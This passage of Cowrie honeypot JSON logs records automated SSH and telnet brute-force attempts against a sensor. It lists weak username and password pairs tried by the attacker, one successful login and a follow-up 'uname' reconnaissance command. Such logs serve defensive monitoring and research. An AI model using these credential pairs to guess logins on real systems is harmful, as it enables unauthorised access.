com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.447140Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.702113Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.908544Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.912759Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:21.999035Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:22.004585Z","src_ip":"176.65.132.254","session":"be02076ebdcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40626,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cbaf359c29e","protocol":"ssh","message":"New connection: 176.65.132.254:40626 (10.17.0.5:22) [session: 9cbaf359c29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:25.655182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:25.659444Z","src_ip":"176.65.132.254","session":"9cbaf359c29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:25.741710Z","src_ip":"176.65.132.254","session":"9cbaf359c29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.90054392814636,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:25.874043Z","src_ip":"134.209.8.29","session":"83e689e5879d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:25.997682Z","src_ip":"176.65.132.254","session":"9cbaf359c29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:27.083218Z","src_ip":"176.65.132.254","session":"9cbaf359c29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40638,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b227ae9df5","protocol":"ssh","message":"New connection: 176.65.132.254:40638 (10.17.0.5:22) [session: b4b227ae9df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:29.931975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:29.937382Z","src_ip":"176.65.132.254","session":"b4b227ae9df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:30.020079Z","src_ip":"176.65.132.254","session":"b4b227ae9df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:30.270907Z","src_ip":"176.65.132.254","session":"b4b227ae9df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:31.356319Z","src_ip":"176.65.132.254","session":"b4b227ae9df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.529751777648926,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:31.453129Z","src_ip":"134.209.8.29","session":"f40d42ce2ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50212,"dst_ip":"10.17.0.5","dst_port":22,"session":"3acf4818e0ad","protocol":"ssh","message":"New connection: 176.65.132.254:50212 (10.17.0.5:22) [session: 3acf4818e0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:33.895221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:33.899871Z","src_ip":"176.65.132.254","session":"3acf4818e0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:33.981572Z","src_ip":"176.65.132.254","session":"3acf4818e0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:34.246730Z","src_ip":"176.65.132.254","session":"3acf4818e0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:35.338282Z","src_ip":"176.65.132.254","session":"3acf4818e0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47030,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eff666b5751","protocol":"telnet","message":"New connection: 38.54.119.93:47030 (10.17.0.5:23) [session: 1eff666b5751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:37.637140Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50220,"dst_ip":"10.17.0.5","dst_port":22,"session":"f87c9b4f0b50","protocol":"ssh","message":"New connection: 176.65.132.254:50220 (10.17.0.5:22) [session: f87c9b4f0b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:38.050080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:38.054951Z","src_ip":"176.65.132.254","session":"f87c9b4f0b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:38.140987Z","src_ip":"176.65.132.254","session":"f87c9b4f0b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:38.404742Z","src_ip":"176.65.132.254","session":"f87c9b4f0b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:39.592721Z","src_ip":"176.65.132.254","session":"f87c9b4f0b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47110,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf6e53d230b","protocol":"ssh","message":"New connection: 176.65.132.254:47110 (10.17.0.5:22) [session: 8cf6e53d230b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:42.265170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:42.273438Z","src_ip":"176.65.132.254","session":"8cf6e53d230b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:42.356158Z","src_ip":"176.65.132.254","session":"8cf6e53d230b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:42.640462Z","src_ip":"176.65.132.254","session":"8cf6e53d230b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:43.743227Z","src_ip":"176.65.132.254","session":"8cf6e53d230b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.2115819454193115,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:43.848623Z","src_ip":"38.54.119.93","session":"1eff666b5751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47124,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f428aacd648","protocol":"ssh","message":"New connection: 176.65.132.254:47124 (10.17.0.5:22) [session: 7f428aacd648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:46.263034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:46.268108Z","src_ip":"176.65.132.254","session":"7f428aacd648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:46.351707Z","src_ip":"176.65.132.254","session":"7f428aacd648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:46.639222Z","src_ip":"176.65.132.254","session":"7f428aacd648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:47.743063Z","src_ip":"176.65.132.254","session":"7f428aacd648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.05524778366089,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:49.779277Z","src_ip":"134.209.8.29","session":"ff08988dad2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47142,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec3d10f58c6","protocol":"ssh","message":"New connection: 176.65.132.254:47142 (10.17.0.5:22) [session: 7ec3d10f58c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:50.591952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:50.596822Z","src_ip":"176.65.132.254","session":"7ec3d10f58c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:50.678295Z","src_ip":"176.65.132.254","session":"7ec3d10f58c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:50.938730Z","src_ip":"176.65.132.254","session":"7ec3d10f58c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38120,"dst_ip":"159.203.135.109","dst_port":23,"session":"42513660c7f1","protocol":"telnet","message":"New connection: 134.209.8.29:38120 (159.203.135.109:23) [session: 42513660c7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:51.844317Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:52.196096Z","src_ip":"176.65.132.254","session":"7ec3d10f58c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37558,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd6b8645bc7b","protocol":"ssh","message":"New connection: 176.65.132.254:37558 (10.17.0.5:22) [session: bd6b8645bc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:54.967928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:54.972874Z","src_ip":"176.65.132.254","session":"bd6b8645bc7b","protocol":"ssh"}
